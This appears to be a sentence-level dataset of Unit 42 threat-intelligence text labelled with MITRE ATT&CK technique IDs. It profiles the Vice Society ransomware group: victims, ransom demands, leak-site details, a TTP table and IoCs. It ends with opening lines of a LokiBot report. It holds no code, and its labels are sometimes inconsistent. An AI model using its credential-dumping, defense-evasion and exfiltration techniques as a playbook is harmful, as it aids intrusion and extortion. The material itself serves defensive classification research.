{"sentence": "Palo Alto Networks customers receive protections against ransomware used by Vice Society from Cortex XDR, as well as from the WildFire cloud-delivered security service for the Next-Generation Firewall.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The Unit 42 Incident Response team can also be engaged to help with a compromise or to provide a proactive assessment to lower your risk.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Table of Contents Vice Society Activity TimelineStudy of Vice Society’s VictimsGeographical ImpactImpacted Industry VerticalsLeak Site Metric ComparisonsUnit 42 Incident Response Data on Vice SocietyVice Society Technical DetailsLeak Site SynopsisHelloKitty UsageZeppelin UsageConclusionTactics, Techniques and Procedures (TTPs)Indicators of Compromise (IoCs)Additional Resources Vice Society Activity Timeline Early reports of the extortion group Vice Society were shared on Twitter by malware researchers such as Michael Gillespie.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "These tweets depicted HelloKitty ransomware payloads appending a .v-society extension to encrypted files on June 10, 2021.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Since then, Vice Society has used a variety of different ransomware strains including the following notable examples: In June 2021, Vice Society infected victims with HelloKitty.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "In 2021 and 2022, Vice Society used Zeppelin to target Windows hosts.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "During their 2021 infections, these attackers also exploited vulnerabilities such as PrintNightmare to escalate privileges and spread laterally across targeted networks.", "labels": ["T1068"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Based on leak site activity we’ve observed in recent months, as shown in Figure 1, we saw a subtle spike at the turning point from 2021 to 2022.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "This was followed by one large spike of activity at the end of spring 2022.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society activity timeline (all leak site victim data).Fast forward to fall 2022, when we saw another wave of Vice Society activity across the education sector, as shown in Figure 2, which prompted a flood of advisories and reports about the group.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The noticeable spikes in spring and fall give us a hint at some of their motivations.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "As education organizations are the group’s prime target, this could be an indication that they’re timing campaigns to coincide with this sector’s unique calendar year.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The school year for most educational institutions in the U.S. typically starts in late August-September and ends in June.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "They might have been trying to time their attacks in 2022 with the transitions of the beginning and end of the school year.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society activity timeline (education-specific leak site victim data).Study of Vice Society’s Victims Vice Society is notorious for targeting the education sector – K-12 and higher education institutions in particular (as referenced in the recent CISA Advisory).", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Other targeted sectors include healthcare and nongovernmental organizations (NGOs).", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Common targets are small- to medium-size businesses, with no geographical focus apparent at this time.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Rather, as noted in a report by SOCRadar, Vice Society focuses on targets of opportunity.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "For years, sectors such as education and healthcare have suffered from many challenges in combating ransomware that have made them particularly attractive targets.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "A lack of budgeting for systems and security solutions has led many organizations to run legacy hardware that isn’t patched against the latest vulnerabilities.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Other challenges that could increase the overall attack surface of these organizations include difficulties in controlling and managing a large number of personal devices brought in by students and staff members.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "These personal devices introduce inherent risk because they may interact with personal files via cloud services.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Although these sectors might have dedicated IT or security teams that run traditional security solutions such as an intrusion detection system (IDS) or intrusion prevention system (IPS), ransomware threat actors are leveraging living off the land techniques that can effectively circumvent traditional signature-based detection mechanisms.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "These tactics require an extended detection and response (XDR) platform for more robust behavioral monitoring within a network.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The education and healthcare sectors also experience the common challenge of finding staff who are adequately trained to handle the ongoing threat of ransomware.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "And lastly, many of these organizations are charged with protecting some of the most sensitive and valuable personally identifiable information (PII) of any business sector.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Geographical Impact Vice Society is primarily opportunistic, and its targets have included organizations across the globe.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The group has infected organizations based in all regions, as shown in Figures 3 and 4, with the largest numbers in the U.S., followed by the U.K., Spain, France, Brazil, Germany and Italy. Figure 3.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Global geographic distribution of organizations listed on Vice Society leak site.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Chart version of global geographic distribution of organizations listed on Vice Society leak site.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The CISA advisory mentions how Vice Society has disproportionately targeted educational institutions in the United States.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Looking at leak site data in more detail, the group appears to be targeting more educational organizations based in California, as shown in Figure 5.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society United States victimology (all leak site victim data).Impacted Industry Verticals Although Vice Society has been in the headlines for targeting educational organizations, they also extort victims in many other industry verticals, as shown in Figure 6, including those supplying critical infrastructure, such as healthcare, government entities and manufacturing.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Industry verticals targeted by Vice Society (leak site data).Leak Site Metric Comparisons", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "According to analysis of ransomware leak sites, Unit 42 has identified Vice Society as being in the top 10 of the most impactful ransomware gangs of 2022.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "We estimate that, since it started operations in 2021, Vice Society has impacted more than 100 organizations in total.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "More than 90 of the total published leak site infections occurred in the year 2022 alone.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Leak site data suggests that Vice Society has had the highest impact on education organizations this year, with at least 33 educational institutions having been listed on the group’s dedicated ransomware leak site.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "This impact is closely followed by ransomware families such as LockBit 2.0 and 3.0, as shown in Figure 7. Figure 7.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Top ransomware families targeting educational institutions in 2022 (leak site data).Unit", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "42 Incident Response Data on Vice Society Since Vice Society’s inception in 2021, Unit 42 has performed incident response (IR) engagements with clients who have been impacted by Vice Society.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Let’s look at some of the data from these incidents.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Dwell Time", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "In Unit 42 IR cases regarding Vice Society, we observed dwell times as high as six days.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "This represents the time elapsed between the date of initial compromise and the date of initial discovery.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Ransom Demands When tracking ransomware group operations, Unit 42 takes note of the initial and final ransom demands made by each ransomware group.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "This allows us to better understand how aggressive a particular ransomware gang’s demands might be for particular industry verticals, and to get a general view into the rate at which a particular actor might drive their demands down after negotiations take place.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Our observations of ransom demands by Vice Society across IR cases include: Initial demands by this actor could exceed $1 million.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Final demands after negotiations were as high as $460,000.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The difference between initial demands and final demands could be significant.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "We saw decreases as large as 60%.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society Technical Details Leak Site Synopsis Over the past year, Vice Society has operated sites on the Tor network using the following .onion address:vsociethok6sbprvevl4dlwbqrzyhxcxaqpvcqt5belwvsuxaxsutyad[.]onion On Oct. 20, the primary .onion address became inactive, while the following site mirror was still active: ssq4zimieeanazkzc5ld4v5hdibi2nzwzdibfh5n5w4pw5mcik76lzyd[.]onion Recently, the header for the group’s blog site bears a striking resemblance to the logo of a popular video game titled “Grand Theft Auto: Vice City” (shown in Figure 8).", "labels": ["T1090"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society active leak site mirror (Oct. 20).On Oct. 25, the original .onion address became active again.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "It was updated to include additional blog sections.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "As of early November, the “Our Blog” page showcased one article that highlights the group's notoriety, as shown in Figure 9. Figure 9.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society leak site including additional blog content (early November).The new “Our Partners” page takes the place of the main page from the previous incarnation of the leak site, including links to view leaked victim data.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The new “For Victims” page directs victims to the ransom note that is dropped as part of the group’s infection chain.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "This is followed by additional instructions in case the victim doesn’t respond to one of the contact emails provided in their ransom note.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "During the extortion process, the attacker typically gives victims seven days to fulfill ransom demands, as shown in Figure 10. Figure 10.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society leak site victims page.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The “For Journalists” page depicts a “Frequently Asked Questions” section to address general questions about the group, as shown in Figure 11. Figure 11.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society leak site journalists page.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "HelloKitty Usage At the start of the group’s observed operations in 2021, Vice Society affiliates used the HelloKitty Ransomware variant as a primary payload in their infection chain.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "This ransomware family was first observed in December 2020, primarily targeting Windows systems.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "This variant gets its name from its mutex: HELLOKITTYMutex.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "In July 2021, as described in our HelloKitty ATOM, Unit 42 came across a Linux (ELF) sample with the name funny_linux.elf that had a ransom note with contents similar to those of HelloKitty for Windows samples.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "This Linux sample led to the discovery of additional HelloKitty samples for Linux dating back to October 2020.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "In March 2021, HelloKitty’s Linux variant was also observed in the wild to target ESXi servers.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Similar to ransomware variants like BlackCat, HelloKitty ransomware typically requires a key to execute, to hinder analysis efforts.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "In HelloKitty’s case, this key is typically obfuscated with AES 256 encryption.", "labels": ["T1027"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "As mentioned in our previous report detailing emerging ransomware families in 2021, HelloKitty features multiple flags that could be set as command line arguments, which are detailed in Table 1 of the linked report.", "labels": ["T1059.003"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society ransom note using HelloKitty ransomware.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "When the encryption process is complete, encrypted files are typically appended with an extension using the following format: .v-society.<victim ID>.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Zeppelin Usage As previously mentioned, the Vice Society group has also been known to adopt other ransomware families such as Zeppelin as a part of their infection chain.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Upon execution, the ransomware binary deletes itself and drops a ransom note on the victim machine’s desktop titled !!!", "labels": ["T1070.004"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "ALL YOUR FILES ARE ENCRYPTED !!!", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": ".TXT.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The contact email address provided by the threat actor vary between samples, but the public v-society.official@onionmail[.]org address and the Tor .onion link remain consistent.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society ransom note using Zeppelin ransomware.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Additional execution details include the following: Creating the HKCU\\Software\\Zeppelin registry key Appending an extension with the format A1A-A80-4CD to encrypted files Creating a file called README.txt.v-society Imphash: 8acb34bed3caa60cae3f08f75d53f727 Creating a temp file with a .Zeppelin extension using the following format - C:\\Users\\<User>\\AppData\\Local\\Temp\\7D3ED7F1.Zeppelin Conclusion School districts with limited cybersecurity capabilities and constrained resources are often the most vulnerable to threat actors.", "labels": ["T1112"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The opportunistic targeting often seen with cybercriminals can put even school districts with robust cybersecurity programs at risk.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "K-12 institutions may be seen as particularly lucrative targets due to the amount of sensitive student data accessible through school systems or their managed service providers.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society and its consistent targeting of the education industry vertical, particularly around the September time frame, serves as a warning that this group has shaped their campaigns to take advantage of the school year in the U.S.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "It’s likely they’ll maintain use of these tactics to impact the cyberthreat landscape moving forward, as long as their activities continue to be lucrative for them.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Educational institutions should continue to implement security best practices and be wary of the ongoing threat of ransomware, especially during the start and end of the school year.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "K-12 institutions and universities do have an advantage when it comes to protecting themselves that too few organizations use to its full potential.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "In a school environment, there are many educators who can help inform trainings for both staff and students to learn what they need to do to maintain security for everyone in the organization.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society’s use of multiple ransomware payloads across both Windows and Linux hosts shows that they’re continually evolving.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "They will likely continue leveraging additional ransomware strains in the future, as well as exploiting newly disclosed vulnerabilities.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "As we do with other ransomware groups, Unit 42 strongly advises organizations that have been impacted by Vice Society to avoid paying a ransom if possible, and to instead consult a trusted IR negotiation team for the best course of action.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "+65.6983.8730 Japan: +81.50.1790.0200 Tactics, Techniques and Procedures (TTPs)", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Unit 42 has observed the following TTPs being used by Vice Society in past incident response engagements involving the group.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The following table illustrates these TTPs according to the MITRE ATT&CK framework.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "TA0001 Initial Access T1566 Phishing Vice Society is known to use phishing to gain initial access to victims’ systems.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1078 Valid Accounts Compromised valid credentials have been used by Vice Society to gain initial access.", "labels": ["T1078"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1190 Exploit Public-Facing Applications Internet-facing applications and systems vulnerabilities can be exploited, such as PrintNightmare (CVE-2021-1675) and (CVE-2021-34527), to gain initial access.", "labels": ["T1190"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "TA0002 Execution T1047 Windows Management Instrumentation (WMI) Malicious commands are executed via WMI as a means of “living off the land” and avoiding detection.", "labels": ["T1047"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Scheduled Task/Job Vice Society is known to execute commands via scheduled tasks/jobs.", "labels": ["T1053.005"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1059.001 Command and Scripting Interpreter:", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Powershell Vice Society utilizes PsExec for execution, persistence and defense evasion.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1059.003 Command and Scripting Interpreter:", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Command Shell Batch files are used by Vice Society to deploy the ransomware via PsExec.", "labels": ["T1059.003"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "TA0003 Persistence T1543.003 Modify System Process To maintain access to compromised systems, Vice Society leverages Windows operating functions to execute encrypted PowerShell.", "labels": ["T1027"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1547.001 Registry Run Keys/Startup Folder Persistence is maintained after boot/reboot via malicious autostart registry keys.", "labels": ["T1547.001"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1574.002 DLL Side-Loading Vice Society utilizes legitimate programs to side-load the group’s own DLL to execute their payload.", "labels": ["T1574.002"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "TA0004 Privilege Escalation T1068 Exploitation for Privilege Escalation Software vulnerabilities, such as PrintNightmare (CVE-2021-1675) and (CVE-2021-34527), may be exploited in an attempt to elevate privileges.", "labels": ["T1068"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "TA0005 Defense Evasion T1036", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Masquerading Files dropped in the victim’s environment by Vice Society may have been altered to appear legitimate.", "labels": ["T1036.005"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1055 Process Injection Legitimate processes have been corrupted by Vice Society via code injection, as a means to evade defenses.", "labels": ["T1055"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1070 Indicator Removal on Host As with many other ransomware groups, Vice Society attempts to clear system, security and application logs on compromised machines.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1112 Modify Registry Vice Society attempts to disable Windows Defender by modifying the Registry.", "labels": ["T1112", "T1562.001"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1497 Sandbox Evasion Vice Society attempts to thwart reverse engineering and/or dynamic analysis via various sandbox evasion techniques.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Impair Defenses: Disable or Modify Tools Attempts to disable or modify endpoint security, such as Microsoft Defender, on compromised devices.", "labels": ["T1562.001"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "TA0006 Credential Access T1003 OS Credential Dumping Vice Society is known to utilize ntds.dit and comsvcs.dll to extract credentials.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1003.001 OS Credential Dumping: LSASS Memory Vice Society utilizes comsvcs.dll to dump credentials from Local Security Authority Subsystem Service.", "labels": ["T1003.001"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1003.003 OS Credential Dumping: NTDS Vice Society attempts to “live off the land” by utilizing ntds.dit and ntdsutil.exe to dump Active Directory Database in an effort to obtain credentials.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "TA0007 Discovery T1046 Network Service Discovery Vice Society has been seen using the recon tool called Advanced Port Scanner to identify running services and local network infrastructure.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1482 Domain Trust Discovery Vice Society has been seen using the attack path reconnaissance tool Bloodhound during the initial stages of their attack before ransomware is deployed.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Remote Services RDP is used by the group for lateral movement.", "labels": ["T1021.001"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1021.002 Remote Services: SMB/Windows Admin Shares SMB shares have been used by Vice Society for lateral movement.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1080 Taint Shared Content Network drives and other shared storage locations are used by Vice Society to deliver payloads.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1570 Lateral Tool Transfer Lateral tool transfers have been used to move tools and files from one compromised system to another, including SMB and RDP.", "labels": ["T1570"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "TA0010 Exfiltration T1020 Automated Exfiltration PowerShell scripts are used to exfiltrate data to external C2 servers.", "labels": ["T1041"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1041 Exfiltration over C2 Channel Tools such as PowerShell and PsExec are used to exfiltrate data directly to C2 servers.", "labels": ["T1041"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1048 Exfiltration Over Alternative Protocol Vice Society has used SMB in attempts to exfiltrate data.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage Cloud storage and transfer services such as Mega.nz, Anonfiles.com, File.io, and Sendspace have been used by Vice Society to exfiltrate victim data.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "TA0011 Command and Control T1219", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Remote Access Software Tools such as SystemBC and proprietary backdoors are known to be used by Vice Society.", "labels": ["T1219"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "TA0040 Impact T1486 Data Encrypted for Impact Vice Society is known for its extortion tactics, encrypting devices and demanding a ransom.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1531 Account Access Removal Vice Society is known to change passwords of compromised victim accounts and privileged users, such as email and administrator accounts.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Indicators of Compromise (IoCs) HelloKitty Elf samples featuring Vice Society ransom note header: 643a3121166cd1ee5fc6848f099be7c7c24d36f5922f58052802b91f032a5f0f 754f2022b72da704eb8636610c6d2ffcbdae9e8740555030a07c8c147387a537 78efe6f5a34ba7579cfd8fc551274029920a9086cb713e859f60f97f591a7b04 16a0054a277d8c26beb97850ac3e86dd0736ae6661db912b8782b4eb08cfd36e Zeppelin ransomware with the Vice Society ransom note header: 4a4be110d587421ad50d2b1a38b108fa05f314631066a2e96a1c85cc05814080 307877881957a297e41d75c84e9a965f1cd07ac9d026314dcaff55c4da23d03e faa79c796c27b11c4f007023e50509662eac4bca99a71b26a9122c260abfb3c6 dd89d939c941a53d6188232288a3bd73ba9baf0b4ca6bf6ccca697d9ee42533f 4440763b18d75a0f9de30b1c4c2aeb3f827bc4f5ea9dd1a2aebe7e5b23cfdf94 24efa10a2b51c5fd6e45da6babd4e797d9cae399be98941f950abf7b5e9a4cd7 bafd3434f3ba5bb9685e239762281d4c7504de7e0cfd9d6394e4a85b4882ff5d aa7e2d63fc991990958dfb795a0aed254149f185f403231eaebe35147f4b5ebe 001938ed01bfde6b100927ff8199c65d1bff30381b80b846f2e3fe5a0d2df21d Ab440c4391ea3a01bebbb651c80c27847b58ac928b32d73ed3b19a0b17dd7e75 Contact information: vicesociety@onionmail[.]org v-society.official@onionmail[.]org LarryGold@onionmail[.]org MollyThomson@onionmail[.]org BruceBoyle@onionmail[.]org SylvesterJones@onionmail[.]org brendaevans4454@onionmail[.]org warreinolds77@onionmail[.]org DaltonReed@onionmail[.]org FreddieFerrell@onionmail[.]org lewiselsberry@onionmail[.]org inezeng@onionmail[.]org lonnieguzman@onionmail[.]org thomasmoore@onionmail[.]org Domains: vsociethok6sbprvevl4dlwbqrzyhxcxaqpvcqt5belwvsuxaxsutyad[.]onion Qu5dci2k25x2imgki2dbhcwegqqsqsrjj5d3ugcc5kpsgbtj2psaedqd[.]onion Wavbeudogz6byhnardd2lkp2jafims3j7tj6k6qnywchn2csngvtffqd[.]onion gunyhng6pabzcurl7ipx2pbmjxpvqnu6mxf2h3vdeenam34inj4ndryd[.]onion Additional Resources Threat Brief:", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Windows Print Spooler RCE Vulnerability (CVE-2021-34527 AKA PrintNightmare)Emerging Ransomware Groups: AvosLocker, Hive, HelloKitty, LockBit 2.0Threat", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Assessment: Zeppelin Ransomware#StopRansomware: Vice Society | CISADark Web Profile: Vice Society - SOCRadar:registered: Cyber Intelligence Inc.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Michael Gillespie Twitter postUnit 42 ATOM: HelloKittyUNC2447 SOMBRAT and FIVEHANDS Ransomware:", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "A Sophisticated Financial Threat | Mandiant Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Executive Summary Unit 42 researchers have uncovered a malware distribution campaign that is delivering the LokiBot information stealer via business email compromise (BEC) phishing emails.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "This malware is designed to steal sensitive information from victims' systems, such as passwords and banking information, as well as other sensitive data.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "In this blog, we will explain how attackers used an innocent-looking email to lure victims into opening an attachment.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "The attachment contained a LokiBot information stealer.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "We will provide technical details on how the LokiBot sample uses obfuscation and a persistence mechanism to avoid detection.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "We will also describe the command and control (C2) channel communication.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Finally, we will list the various applications from which the malware steals data.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "The Appendix of this blog will provide an in-depth description of each data byte in the HTTP based C2 communication, detailing the specific purpose of each byte.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "It will also provide a breakdown of how the data byte is structured.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
